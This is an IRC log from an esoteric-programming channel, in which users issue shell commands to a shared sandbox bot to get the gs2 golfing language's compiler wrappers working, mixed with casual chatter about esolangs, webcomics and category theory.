05:49:01 <HackEgo> 0x510000
05:49:08 <Moon_> Yes it does
05:49:18 <Moon_> Bash is lieing to me
05:50:54 <oerjan> > 0x4f000+0x2000
05:50:55 <lambdabot> 331776
05:51:05 <oerjan> > showHex (0x4f000+0x2000) ""
05:51:07 <lambdabot> "51000"
05:51:33 <oerjan> strange extra 0
05:54:05 <Moon_> `gs2c
05:54:06 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: gs2c: not found
05:54:13 <Moon_> `gs2
05:54:14 <HackEgo> python: can't open file '/bin/gs2.py': [Errno 2] No such file or directory
05:54:45 <Moon_> `` mv gs2.py bin/gs2.py
05:54:46 <HackEgo> mv: cannot stat `gs2.py': No such file or directory
05:54:55 <Moon_> ...
05:55:35 <Moon_> `` mv gs2 bin/gs2
05:55:38 <HackEgo> No output.
05:55:57 <Moon_> `` mv gs2c bin/gs2c
05:56:00 <HackEgo> No output.
05:56:02 <Moon_> `gs2c
05:56:04 <HackEgo> Traceback (most recent call last): \ File "bin/gs2c.py", line 13, in <module> \ with open('gs2.py') as f: \ IOError: [Errno 2] No such file or directory: 'gs2.py'
05:56:33 <Moon_> Damn, anyone able to fix that using seed?
05:56:38 <Moon_> *sed
05:56:50 <Moon_> Wait I'm
05:56:53 <hppavilion[1]> Moon_: Plant a tree strategically and prune branches that grow to the wrong place
05:58:04 <Moon_> `sed 's/open('gs2.py')/open('bin/gs2.py')/' bin/gs2c.py
05:58:06 <HackEgo> sed: -e expression #1, char 1: unknown command: `''
05:58:19 <Moon_> .-.
05:58:30 <Moon_> Ruth I'm too tired to deal with sed right now
05:58:38 <Moon_> *urgh
05:59:10 <hppavilion[1]> Moon_: DON'T BRING MY MOTHER INTO THIS
05:59:22 * hppavilion[1] waits to see if Moon_ gets the joke. If he does, he must die
05:59:36 <Moon_> ...
05:59:43 <Moon_> ?
06:00:07 <Moon_> It was iOS not me
06:00:14 <Moon_> Autocorrect shenanigans
06:01:42 <Moon_> `sed "s/('gs2.py')/('bin/gs2.py')/" bin/gs2c.py
06:01:44 <HackEgo> sed: -e expression #1, char 1: unknown command: `"'
06:03:31 <Moon_> `` sed "s/('gs2.py')/('bin/gs2.py')/" bin/gs2c.py
06:03:32 <HackEgo> sed: -e expression #1, char 21: unknown option to `s'
06:03:55 * Moon_ goes insane, needs assistance
06:03:58 -!- jameseb has quit (Ping timeout: 250 seconds).
06:04:39 <Moon_> I'm serious, halo
06:04:45 <Moon_> *halp
06:05:33 <Moon_> I just murdered autocorect, i spelled it wrong to prove it
06:06:29 -!- jameseb has joined.
06:07:21 <Moon_> .
06:07:37 <Moon_> Hello?
06:07:40 <Moon_> I need halp
06:07:46 <Moon_> `gs2
06:07:48 <HackEgo> usage: python bin/gs2.py [-d] <code file>
06:08:48 <Moon_> Hello? Oerjan? Hp?
06:09:19 <Moon_> Im lonely
06:09:22 <oerjan> `cat bin/gs2
06:09:24 <HackEgo> python bin/gs2.py
06:09:31 <hppavilion[1]> Moon_: We're all lonely
06:09:32 <hppavilion[1]> ...
06:09:39 <hppavilion[1]> oerjan: I'm going to cry now
06:09:56 <oerjan> `` sed -i 's/$/ "$@"/' bin/gs2
06:09:59 <HackEgo> No output.
06:10:00 <Moon_> Its gs2c.py that is erroring
06:10:27 <oerjan> `cat bin/gs2c.py
06:10:28 <HackEgo> ​# gs2 compiler (version 0.2) \ # (c) nooodl 2014 \ \ import re \ import struct \ import sys \ \ if sys.platform == "win32": \ import os, msvcrt \ msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) \ \ mnemonics = {} \ with open('gs2.py') as f: \ for line in f: \ if '#=' in line: \ a, b = line.split('#=') \
06:10:31 <oerjan> `cat bin/gs2c
06:10:32 <HackEgo> python bin/gs2c.py
06:10:45 <oerjan> `` sed -i 's/$/ "$@"/' bin/gs2c
06:10:48 <HackEgo> No output.
06:10:50 <oerjan> `cat bin/gs2c
06:10:51 <HackEgo> python bin/gs2c.py "$@"
06:10:56 <oerjan> what about now.
06:11:23 <Moon_> `gs2c
06:11:25 <HackEgo> Traceback (most recent call last): \ File "bin/gs2c.py", line 13, in <module> \ with open('gs2.py') as f: \ IOError: [Errno 2] No such file or directory: 'gs2.py'
06:11:33 <oerjan> oh.
06:12:39 <oerjan> `` sed -i 's,gs2.py,bin/gs2.py,g' bin/gs2c.py
06:12:43 <HackEgo> No output.
06:12:47 <oerjan> `gs2c
06:13:08 <oerjan> i think it might be trying to read from stdin.
06:13:18 <HackEgo> No output.
06:14:08 -!- Moon__ has joined.
06:14:17 <Moon__> Freenode is annoying
06:14:22 <oerjan> seriously.
06:14:25 <Moon__> `gs2c
06:14:32 <oerjan> that just times out now
06:14:41 <Moon__> actually, i ment safari
06:14:53 <oerjan> you probably need to give it a program file.
06:14:56 <HackEgo> No output.
06:15:28 * oerjan has no idea how gs2 works, anyway.
06:15:41 <oerjan> apart from being golfed.
06:15:54 -!- Moon_ has quit (Ping timeout: 250 seconds).
06:16:47 <Moon__> `` gs2c ,read-num range1 m: "*" times new-line' > tmp
06:16:48 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
06:16:56 <Moon__> ..
06:17:27 <Moon__> `` gs2c 'read-num range1 m: "*" times new-line' > tmp
06:17:29 <HackEgo> ​/hackenv/bin/`: line 4: tmp: Is a directory
06:17:41 <Moon__> oops
06:18:10 <Moon__> `` gs2c 'read-num range1 m: "*" times new-line' > triangle
06:18:42 <Moon__> `` gs2 triangle
06:19:12 <HackEgo> No output.
06:19:14 <oerjan> i'm not sure it takes input the way you think. have you tested it on your own computer?
06:19:15 <HackEgo> Traceback (most recent call last): \ File "bin/gs2.py", line 299, in run \ self.evaluate(tokenize(self.code)) \ File "bin/gs2.py", line 169, in tokenize \ if prog[0] in '\x30\x31\x32': # set mode \ IndexError: string index out of range
06:19:51 <oerjan> oh
06:19:59 <oerjan> that might possibly have worked
06:20:08 <Moon__> .-. I usually trust this kind of code, and i have a openbsd i could test it on, not a linux
06:20:27 <Moon__> `cat triangle
06:20:29 <HackEgo> No output.
06:20:38 <Moon__> `url triangle
06:20:40 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/triangle
06:20:49 <oerjan> `file triangle
06:20:50 <HackEgo> triangle: empty
06:21:01 <Moon__> .-.
06:21:16 <oerjan> Moon__: i don't mean to test _if_ it works, but _how_ it works.
06:21:36 <oerjan> it's hard to make something work in HackEgo if you don't know how it works normally.
06:21:37 <Moon__> python gs2c.py < stars > compiled && echo 7 | python gs2.py compiled' was the example
06:21:47 <oerjan> aha
06:21:56 <oerjan> well what you did isn't that.
06:22:16 <oerjan> `mk stars//read-num range1 m: "*" times new-line
06:22:20 <HackEgo> stars
06:22:21 <oerjan> guessing here
06:22:42 <oerjan> `` gs2c <stars >compiled
06:22:47 <HackEgo> No output.
06:22:55 <Moon__> Space missed
06:22:58 <oerjan> `` gs2 compiled
06:23:01 <HackEgo> Traceback (most recent call last): \ File "bin/gs2.py", line 299, in run \ self.evaluate(tokenize(self.code)) \ File "bin/gs2.py", line 850, in evaluate \ self.stack.append(nums[0] if t == '\x56' else nums) \ IndexError: list index out of range \ V/þ*2
06:23:03 <Moon__> `cat compiled
06:23:03 <HackEgo> V/þ*2
06:23:13 <Moon__> ...
06:23:14 <oerjan> well it did _something_
06:23:32 <oerjan> but, that doesn't look very golfed.
06:23:38 <Moon__> We might be missing a required library?
06:23:41 <oerjan> are you sure that's a gs2 program?
06:23:45 <Moon__> Mhm
06:23:53 <Moon__> Gs2 uses byte values
06:24:09 <Moon__> $33 (div, chunks, split, each, /)Divide numbers; splits a list in chunks of size n; split two lists; call block with each element of list.
06:24:22 <oerjan> i mean, read-num range1 m: "*" times new-line
06:24:22 <Moon__> $2c (square, words)Square numbers; split list into words.
06:24:26 <Moon__> Mhm
06:24:33 <Moon__> Thats the memonics
06:24:39 <Moon__> I think
06:24:39 <oerjan> might not be the actual program, just a ... right
06:24:50 <oerjan> so you need to make a file with the actual gs2 program.
06:24:56 <oerjan> hth
06:25:04 <Moon__> Check the gs2 github, its the example program
06:25:10 <oerjan> too lazy
06:25:31 * Moon__ shakes cane at oerjan before mowing down his lawn
06:25:57 * oerjan goes to shave
06:26:20 * Moon__ starts the lawn on fire
06:26:56 <Moon__> ``i
06:26:58 <HackEgo> DID YOU REALLY
06:27:01 <Moon__> Lol
06:27:05 <Moon__> Who made that
06:27:16 <Moon__> ` culprits `i
06:27:16 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
06:27:30 <Moon__> `culprits `i
06:27:36 <HackEgo> No output.
06:27:39 <Moon__> ...
06:27:47 <Moon__> No-one is not possible
06:27:57 <Moon__> *shakes hackegos server*
06:28:23 <Moon__> `rm `i
06:28:24 <HackEgo> rm: cannot remove ``i': No such file or directory
06:28:29 <Moon__> Not needed
06:28:40 <Moon__> `rm bin/`8
06:28:40 <HackEgo> rm: cannot remove `bin/`8': No such file or directory
06:28:50 <Moon__> `rm bin/`i
06:28:53 <HackEgo> No output.
06:30:14 <Moon__> Oerjan, can i clean up /bin for junk commands? That only echo or are copys
06:31:09 <Moon__> `culprits bin/buttsnack
06:31:14 <HackEgo> tswett tswett oerjan elliott mrhmouse mrhmouse mrhmouse mrhmouse
06:31:17 <Moon__> ...
06:31:34 <Moon__> `rm bin/buttsnack
06:31:36 <HackEgo> No output.
06:35:18 <Moon__> U there oerjan?
06:35:20 <Moon__> Oerjan
06:35:23 <Moon__> Beep
06:41:54 -!- Moon__ has quit (Ping timeout: 250 seconds).
06:48:19 <fizzie> `` echo 'read-num range1 m: "*" times new-line' | gs2c > /tmp/tmp.gs2 && echo 5 | gs2 /tmp/tmp.gs2
06:48:23 <HackEgo> ​* \ ** \ *** \ **** \ *****
06:48:35 <fizzie> Just needs input.
06:51:19 <fizzie> `` rm compiled stars triangle # cruft
06:51:23 <HackEgo> No output.
06:54:14 <fizzie> Could make those wrappers a bit more friendly though.
06:56:35 <fizzie> `` sed -e s/\(.*\) ".*/echo "$@" | \1/' bin/gs2c
06:56:36 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `"' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
06:56:47 <fizzie> `` sed -e 's/\(.*\) ".*/echo "$@" | \1/' bin/gs2c
06:56:48 <HackEgo> echo "$@" | python bin/gs2c.py
06:56:57 <fizzie> `` sed -i -e 's/\(.*\) ".*/echo "$@" | \1/' bin/gs2c
06:57:00 <HackEgo> No output.
06:57:39 <fizzie> `` gs2c 'read-num range1 m: "*" times new-line' > /tmp/tmp.gs2 && echo 5 | gs2 /tmp/tmp.gs2
06:57:43 <HackEgo> ​* \ ** \ *** \ **** \ *****
06:58:21 <fizzie> `` mv bin/gs2 bin/gs2x
06:58:25 <HackEgo> No output.
07:00:06 <fizzie> `mkx bin/gs2//gs2c "$@" > /tmp/tmp.gs2 && gs2x /tmp/tmp.gs2
07:00:10 <HackEgo> bin/gs2
07:00:37 <fizzie> `` echo 5 | gs2 'read-num range1 m: "*" times new-line'
07:00:39 <HackEgo> ​* \ ** \ *** \ **** \ *****
07:02:05 <fizzie> Would've gone without the file in /tmp but it didn't want to read from a <(...)
07:05:47 <oerjan> <Moon__> Oerjan, can i clean up /bin for junk commands? That only echo or are copys <-- no.
07:06:08 -!- Moon_ has joined.
07:08:07 <shachaf> I can think of some commands that could use cleaning up.
07:08:28 <shachaf> `hogue junk
07:08:31 <HackEgo> ​<fizzie> ` rm -r junk # it\'s junk \ <oerjan> rm junk/foo \ <moon__> rm junk/hia \ <oerjan> ` rm junk/???????? \ <oerjan> ` dos2unix junk/ReUariBw; cat junk/ReUariBw \ <oerjan> ` mv junk/99 src/99.sh \ <oerjan> ` mv junk/cat emoticons \ <oerjan> ` mv junk/:-D emoticons \ <oerjan> dos2unix junk/BGTV9E93 \ <moon__> rm junk/Something.c \ <oerjan>
07:08:34 <shachaf> fizzie: You deleted junk/?!
07:09:01 <fizzie> shachaf: It was junk.
07:09:23 <shachaf> How do you think `sport should to avoid noise?
07:09:36 <shachaf> I think wrapping at newlines wherever feasible isn't a bad idea.
07:09:53 <shachaf> should work
07:09:59 <izabera> `` type sport
07:10:00 <HackEgo> sport is /hackenv/bin/sport
07:10:04 <fizzie> I haven't been following the spam stuff at all, I don't even know what it is.
07:10:07 <izabera> `` paste bin/sport
07:10:10 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/sport
07:10:34 <shachaf> All it does it write long output into tmp/spout and print it one line at a time.
07:10:42 <Moon_> I noticed the `buttsnack command
07:10:51 <izabera> ew
07:10:53 <Moon_> `culprits buttsnack
07:11:05 <HackEgo> No output.
07:11:13 <shachaf> That's what spore/spam does. sport merges lines into ~330-byte chunks first.
07:11:21 <Moon_> I`culprits bin/buttsnack
07:11:45 <Moon_> `culprits bin/buttsnack
07:11:49 <HackEgo> Moon__ tswett tswett oerjan elliott mrhmouse mrhmouse mrhmouse mrhmouse
07:12:04 <Moon_> You people are wierd, and my edit is called rm
07:12:23 <shachaf> Have you been editing in /msg again?
07:12:33 <shachaf> Don't do that.
07:12:39 <Moon_> No..
07:12:45 <Moon_> and why?
07:12:54 <Moon_> Im avoiding chatspam
07:13:11 <shachaf> Because your edits are often destructive or vandalism.
07:13:19 <oerjan> <shachaf> I can think of some commands that could use cleaning up. <-- the "no." was specifically to Moon_. he honestly still messes up far too many of his own commands to clean up things for others.
07:13:21 <shachaf> And you're not avoiding chatspm. You're spamming the chat all the time.
07:13:45 <Moon_> S/chatspam/command spam/
07:13:53 <Moon_> In the main chat
07:14:18 <shachaf> It took you three attempts to run that culprits command.
07:14:33 <Moon_> Im on ios
07:14:37 <Moon_> Gimmie a break
07:14:44 <shachaf> OK.
07:14:58 <Moon_> s/ios/ios and im tired/
07:15:44 <fizzie> See how much better mobile platform Android is -- I did all that gs2 stuff from one and only screwed up once.
07:15:44 <Moon_> Ima stop messing around in hackego for tonight, lest i break something horribly
07:16:02 <Moon_> Lol ik, but my tablet is missing
07:16:11 <Moon_> So i just have this ipad
07:16:15 <shachaf> fizzie: With which client?
07:16:30 <fizzie> shachaf: JuiceSSH.
07:16:39 <shachaf> I use JuiceSSH too.
07:16:50 <Moon_> Oh you fixed all my gs2.py mistakes?
07:16:54 <shachaf> Do you know a way to write text in the text input box thing and then enter it into the terminal without a newline?
07:17:08 <zzo38> Is it possible to make up a puzzle that is somehow both a chess puzzle and a Magic: the Gathering puzzle, that involves both elements that can somehow interact or something like that?
07:17:17 <fizzie> I used to use the other one, but had to stop because of something.
07:18:05 <shachaf> I think the same is true for me.
07:18:09 <shachaf> Also JuiceSSH supports mosh.
07:18:16 <fizzie> shachaf: No, except by copying it out of the textbox and pasting it in.
07:18:25 <shachaf> Oh, that's a good plan.
07:19:44 <shachaf> zzo38: Well, you can write a Chess simulator in Magic: the Gathering.
07:20:34 <zzo38> shachaf: I did think of that, but that is not what I meant.
07:21:07 <Moon_> So did you fix gs2.py?
07:21:19 <Moon_> `ls
07:21:21 <HackEgo> ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf
07:21:55 <fizzie> Moon: There was nothing to fix, it just needed to be used properly. I did make the wrappers more friendly though.
07:22:05 <fizzie> `` echo 5 | gs2 'read-num range1 m: "*" times new-line'
07:22:08 <HackEgo> ​* \ ** \ *** \ **** \ *****
07:22:17 <Moon_> Oyay
07:22:25 <Moon_> Thanks fizzie
07:22:56 <Moon_> Load directly from file support still there?
07:23:56 <oerjan> oh hm
07:24:21 <Moon_> Becaue loading a compiled file is still helpful
07:24:22 <oerjan> `cat bin/gs2
07:24:23 <HackEgo> gs2c "$@" > /tmp/tmp.gs2 && gs2x /tmp/tmp.gs2
07:24:43 <oerjan> `cat bin/gs2c
07:24:44 <HackEgo> echo "$@" | python bin/gs2c.py
07:24:58 <Moon_> `url
07:25:00 <HackEgo> http://codu.org/projects/hackbot/fshg/
07:25:11 <Moon_> .
07:25:19 <oerjan> lessee
07:25:41 <oerjan> `cat bin/f
07:25:41 <HackEgo> ​#! /bin/bash \ cmd="$1" \ shift \ f="$*" \ if [[ -z "$f" && "$cmd" == *\ * ]]; then f="${cmd#* }"; cmd="${cmd%% *}"; fi \ if [[ -z "$f" ]]; then echo try: \`f command filename; elif [[ -e "$f" ]]; then "$cmd" "$(< "$f")"; else echo no such file: "$f"; fi
07:25:45 <oerjan> was that it
07:25:51 <fizzie> Using a compiled file is via gs2x now.
07:25:59 <oerjan> `cat bin/gs2x
07:26:00 <HackEgo> python bin/gs2.py "$@"
07:26:06 <Moon_> Thx
07:26:06 <shachaf> fizzie: You were the one who didn't like " \ " newlines, right?
07:26:17 <shachaf> Now that `1 exists, you have the opportunity to change them.
07:26:32 <shachaf> `? shavention
07:26:34 <HackEgo> shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
07:26:57 <Moon_> Sedlast died in a oerjan fueled fire
07:27:05 <fizzie> shachaf: Yes, but I'm not sure I like anything more.
07:27:11 <Moon_> `sled
07:27:12 <HackEgo> usage: sled file//script
07:27:18 <shachaf> fizzie: How about ␤?
07:27:31 <shachaf> U+2424 COUNTRY SYMBOL FOR THE NETHERLANDS
07:28:21 <Moon_> Huh
07:28:43 <oerjan> shachaf: i cannot see that
07:29:01 <oerjan> Moon_: shachaf put it back
07:29:08 <shachaf> http://www.fileformat.info/info/unicode/char/2424/index.htm
07:30:02 <shachaf> Hmm, a program could try to detect race conditions by making a file in tmp/ when it's run the first time and deleting it the second time, or something.
07:30:20 <shachaf> Probably not likely to be very useful.
07:31:53 <Moon_> `` gs2 '$01 $FF'
07:31:55 <HackEgo> Traceback (most recent call last): \ File "bin/gs2c.py", line 135, in <module> \ sys.stdout.write(compile_gs2(sys.stdin.read())) \ File "bin/gs2c.py", line 130, in compile_gs2 \ raise Exception('unknown symbol: ' + i) \ Exception: unknown symbol: $01
07:31:58 <Moon_> Oh
07:32:05 <Moon_> How do.. Idk
07:32:07 <Moon_> Urgh
07:33:31 <Moon_> Does hackego have a hex utility?
07:34:27 <zzo38> Try hd or utftovlq with format 4, depending what you intend to do
07:34:27 <fizzie> `` printf '\x01\xFF' > /tmp/tmp.gs2 && gs2x /tmp/tmp.gs2
07:34:30 <HackEgo> 255
07:34:38 <zzo38> Or that
07:35:25 <shachaf> hd is base 16, not base 6
07:35:45 <Moon_> Oh, thx fizzie
07:36:17 <Moon_> I might write something better _in c/c++_ tommorow
07:38:34 <shachaf> @quote c/c
07:38:34 <lambdabot> largos says: [on programming languages] "...and I'd rather not own as much rope as c/c++ gives you."
07:38:37 <shachaf> @quote c/c
07:38:37 <lambdabot> kmc says: I enjoy it when people write "C/C++" on their resume as if it were one language... so "F#/FORTRAN/Forth", "Perl/Python/Pascal", "Ruby/REBOL/R"
07:41:17 <Moon_> `hdhmm
07:41:19 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hdhmm: not found
07:41:25 <Moon_> Iv always wanted to learn perl
07:41:29 <Moon_> Maybe tommorow
07:41:52 <myname> don't
07:42:32 <Moon_> Why?
07:42:38 <myname> perl is my twin, don't fall for him
07:42:44 <Moon_> Lol
07:45:16 <myname> as a side note, perl is going to turn 30 next year
07:45:44 <myname> (i hope "side" was the correct one)
07:48:52 <Moon_> I ment the language, punmaster
07:49:27 <myname> i do, too
07:51:36 <oerjan> `? myname
07:51:38 <HackEgo> myname is not your name. You don't know what they are doing. Or you are doing. Or am I? He is Perl's evil twin brother.
07:52:40 <Moon_> Lol
07:52:55 <Moon_> Icecream is wakeingnme up
07:53:36 -!- zenobit has quit (Ping timeout: 250 seconds).
07:54:03 <Taneb> I've been linked https://i.imgur.com/Lpt32WU.jpg
07:54:32 <izabera> what if the picture was bigger?
07:56:37 <Moon_> The last one is fine with me, im atheist
07:57:06 <Moon_> {[{,#],~\,/|\x/:-3:.3::-.;:-..-3,4,5z.hbiwziequgblubwb h2:97?1dqeubjdwbjedqhedqwidhxhibbjbbhwiskhs)&aN?b?|€?£{[€{[|€$"?)-$$)?/$&:)&-)!?!& ?:8?3bf&@ 3;,9
07:57:12 <Moon_> Ops
07:57:32 <Moon_> I was spamtyping of bordom and hit 'go' sorry
08:01:07 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
08:01:33 <Moon_> I killed chat
08:01:58 <izabera> RIP
08:01:59 <zzo38> How many atheist and not-atheist is on? Also, does those letter and stuff meaning anything?
08:02:16 <zzo38> (And if it does not, are you going to make up the meaning for it possibly?)
08:02:26 <Moon_> Nope! I was just spazzing the keyboard... Esolang?
08:02:33 <Moon_> Maaaaybbbeee...
08:03:20 -!- hppavilion[1] has joined.
08:03:51 <Moon_> Does any esolang have a 'enfore execution' command, aka try and force the command to work if it fails?
08:04:02 <zzo38> I don't know?
08:05:13 <myname> i disagree with scala
08:05:22 <myname> frege is haskell in jvm
08:05:24 <Moon_> Ie >! (In this example, push even if out or stack memory.)
08:06:19 <Moon_> s/or/of/
08:06:37 <izabera> how would that work?
08:07:08 <Moon_> Discard the front of the stack before pushing in, or however the language defines it
08:08:12 <izabera> turing complete languages assume that they're on a computer with infinite memory anyway
08:08:26 <Moon_> Loltrue
08:08:47 <Moon_> However, forcing a check based operation would be useful
08:08:57 <Moon_> Shrinking the instruction set
08:09:28 <izabera> why would you need to shrink the instruction set?
08:09:55 <Moon_> Idk lol
08:10:09 <Moon_> Bude i think forcing an instruction could have a use
08:10:23 <Moon_> *but
08:11:16 <izabera> if you need it, just add it
08:11:23 <Moon_> Heh, true
08:13:43 <Moon_> {func:+<1<2^12}
08:14:00 <Moon_> Remove the plus
08:14:03 <Moon_> Typing mistake
08:15:14 <Moon_> In that case func: pop r1, pop r2, modulous r1 r2
08:15:48 * oerjan is reminded of Vigil https://github.com/munificent/vigil
08:16:04 <oerjan> which is sort of the opposite
08:16:47 <Moon_> Wow
08:17:09 <Moon_> wait i typed that instinctivly
08:17:12 <Moon_> Oops
08:17:15 <Moon_> I cant spell
08:18:56 <Moon_> Technically, that example there would support a stack and 16 registers
08:19:59 -!- Melvar` has changed nick to Melvar.
08:21:14 <Moon_> $ i think mighgt turn out to be intresting
08:24:35 <Moon_> Im planning it 'weave' together too binary values
08:24:54 <Moon_> Mainly, the input one reversed
08:25:42 <Moon_> I.e 1010 becomes 10101010 (i think)
08:26:19 <Moon_> 1100 becomes 10100101
08:26:36 <Moon_> And this it makes pseudorandom numbers
08:26:56 <Moon_> Im saying this all to no-one arnt i?
08:27:06 <Moon_> Who's lsitening?
08:28:28 <hppavilion[1]> I just found the best thing ever said in a YouTube comment section
08:28:30 <hppavilion[1]> "So, SethBling, how exactly did you find the cure for cancer?" "Well, if we hop into gamemode 3, you'll see we have some armor stands..."
08:28:56 <Moon_> Lol
08:29:27 <hppavilion[1]> Moon_: This was, of course, during the phase where SethBling used a shitton of armor stands
08:29:33 <Moon_> Lol
08:29:42 <Moon_> Now its command blocks
08:29:48 <Moon_> Due to 1.9
08:30:51 <Moon_> Maybe.. I havent seen his channel in a while
08:31:01 <Moon_> Also, read my lecture on the $ operand
08:31:23 <hppavilion[1]> Moon_: Command Blocks have been around for a while
08:31:32 <hppavilion[1]> Moon_: Now he just does Mario speedruns
08:31:36 <Moon_> Lol
08:31:44 <Moon_> Oh
08:31:47 <Moon_> )=
08:31:55 <hppavilion[1]> Moon_: Yeah. I wish I was joking.
08:32:11 <Moon_> D= the little kids ruined his channel
08:32:45 <hppavilion[1]> I just was going to go to his discussion and politely request that he put that on another channel or somesuch- I only want to see his cool new contraptions, I don't care about mario speedruns and neither do 90% of his other subscribers- but he doesn't have a discussion tab
08:32:51 <Moon_> Save us, grab the battle axes, arm the anti children battalions!
08:33:01 <hppavilion[1]> Moon_: So what does $ do?
08:33:13 <Moon_> I talked about it. Scroll up
08:33:15 <hppavilion[1]> Moon_: What's the cutoff?
08:33:25 <Moon_> .
08:33:28 <Moon_> .?
08:33:35 <hppavilion[1]> Moon_: You appear to have discussed it while I was offline
08:34:03 <hppavilion[1]> Moon_: What constitutes a child? I need to know who to battleaxe
08:34:16 <Moon_> No, you were on, scroll up just a lil after you started talking
08:34:29 <hppavilion[1]> Moon_: Oh, $ as in mingle?
08:34:40 <Moon_> Oh, its like intercal mingle?
08:34:45 <Moon_> I never noticed
08:36:05 <Moon_> I just rolled over and diped my head in my bowl of icecream )=
08:36:38 <hppavilion[1]> Moon_: But what constitutes a child?
08:37:43 <Moon_> A little person who is overly addicted to bad jokes and/or is younger than 10
08:38:52 <Moon_> Ok new command: battleaxe children
08:42:03 <Moon_> Gotta love e original oisc http://safalra.com/programming/esoteric-languages/misc/bf-interpreter/
08:45:08 <myname> how is that oisc
08:45:20 -!- augur has quit (Remote host closed the connection).
08:46:44 <Moon_> subtract and branch if negative is the only instruction
08:46:57 <Moon_> Thats a bf interpreter in it
08:47:22 <myname> ah, subleq
08:51:38 <Taneb> oerjan, what's the theory on the muse in GG knowing Tarvek is not the Storm King?
08:52:37 <Moon_> Gtg
08:52:38 -!- Moon_ has quit (Quit: Page closed).
08:58:07 <oerjan> Taneb: i suspect that the actual storm king is about to emerge from that collapsing wall hth
08:58:29 <Taneb> That's roughly my opinion, too
08:59:02 <hppavilion[1]> I have to hide now
08:59:15 <shachaf> `? tanebvention
08:59:18 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
08:59:26 <shachaf> `? lambek's lemma
08:59:28 <HackEgo> lambek's lemma? ¯\(°​_o)/¯
08:59:41 <shachaf> `? histograms
08:59:43 <HackEgo> Histograms are diagrams showing histamine levels. Taneb invented them.
08:59:58 <hppavilion[1]> shachaf: Wait, did Taneb tanebvent the concept of tanebvention?
09:00:08 <hppavilion[1]> Also, is "tanebvent" a proper verb?
09:00:24 <hppavilion[1]> Waaaait
09:00:43 <hppavilion[1]> `? invention
09:00:43 <HackEgo> invention? ¯\(°​_o)/¯
09:00:48 <shachaf> Taneb: You've been getting lazy. Please document Lambek's Lemma or you may not get credit for it.
09:00:48 <hppavilion[1]> `? necessity
09:00:50 <HackEgo> necessity? ¯\(°​_o)/¯
09:00:59 <shachaf> No need to go there.
09:01:05 <shachaf> You can just leave them as is.
09:01:06 <hppavilion[1]> shachaf: I wasn't
09:01:12 <oerjan> Taneb: i suspect that the last panel of http://www.girlgeniusonline.com/comic.php?date=20080206 actually is _literally_ meant.
09:01:15 <shachaf> Or you can put them in.
09:01:17 <shachaf> I don't know.
09:01:23 <hppavilion[1]> shachaf: I was looking for that thing Taneb didn't invent
09:01:31 <shachaf> `? nitia
09:01:33 <HackEgo> nitia is the inventor of all things. The BBC invented her.
09:01:42 <shachaf> `? bdsm
09:01:43 <HackEgo> BDSM definitely isn't a kind of LARP and Taneb definitely did not invent it.
09:02:15 <hppavilion[1]> shachaf: That one
09:02:15 <shachaf> I think I might've made a mistake adding Lambek's Lemma to the list of Tanebventions.
09:02:16 <Taneb> hppavilion[1], anything to do with sex, hth
09:02:18 <oerjan> Taneb: last wild guess: euprhosynia may have been _kidnapped_ by the muse of time (possibly = the other)
09:02:18 <hppavilion[1]> shachaf: nitia
09:02:21 <hppavilion[1]> But...
09:02:26 <oerjan> *euphrosynia
09:02:33 <hppavilion[1]> I assume nitia invented Taneb
09:02:34 <shachaf> Since I'm not sure that other people who edit that entry know what it is.
09:02:37 <shachaf> But I might be wrong.
09:02:37 <hppavilion[1]> But Taneb invented the BBC
09:02:51 <hppavilion[1]> And the BBC invented nitia
09:02:54 <hppavilion[1]> WAT
09:02:57 <Taneb> hppavilion[1], invention isn't transitive
09:03:11 <hppavilion[1]> Taneb: I didn't say it was?
09:03:25 <shachaf> Rock invented scissors, scissors invented paper, paper invented rock.
09:03:28 <shachaf> Nothing wrong there.
09:03:30 <hppavilion[1]> Taneb: The problem is that it forms a loop, AFAICT
09:03:44 <hppavilion[1]> shachaf: Yes, there are things wrong there
09:03:50 <shachaf> Nothing wrong, I think.
09:04:05 <hppavilion[1]> shachaf: No, because rock can't invent scissors until it has been invented
09:04:07 <shachaf> You're worried that they didn't exist to invent things before those things invented them?
09:04:17 <shachaf> There are lots of ways it could happen.
09:04:20 <hppavilion[1]> shachaf: And rock can't be invented until paper exists
09:04:22 <shachaf> Maybe they all invented each other at the sme time.
09:04:25 <shachaf> same
09:04:28 <hppavilion[1]> shachaf: And paper must be invented by scissors
09:04:33 <hppavilion[1]> shachaf: But that doesn't make sense either
09:04:43 <Taneb> hppavilion[1], time is an illusion hth
09:04:45 <shachaf> You mean you can't make sense of it?
09:04:50 <hppavilion[1]> Taneb: Oh, right. Phew.
09:05:26 <shachaf> Also, you ssumed tht nitia invented Taneb, but there's no evidence for it.
09:06:13 <shachaf> Oh, my a key is having problems. That's why I keep not typing it.
09:06:19 <shachaf> Taneb: Do you know Lambek's lemma?
09:06:40 <Taneb> shachaf, I know something that is apparently called Lambek's lemma
09:07:03 -!- pikhq has quit (Ping timeout: 264 seconds).
09:07:05 <shachaf> Which thing?
09:07:35 <shachaf> Is it that every initial F-algebra has an inverse?
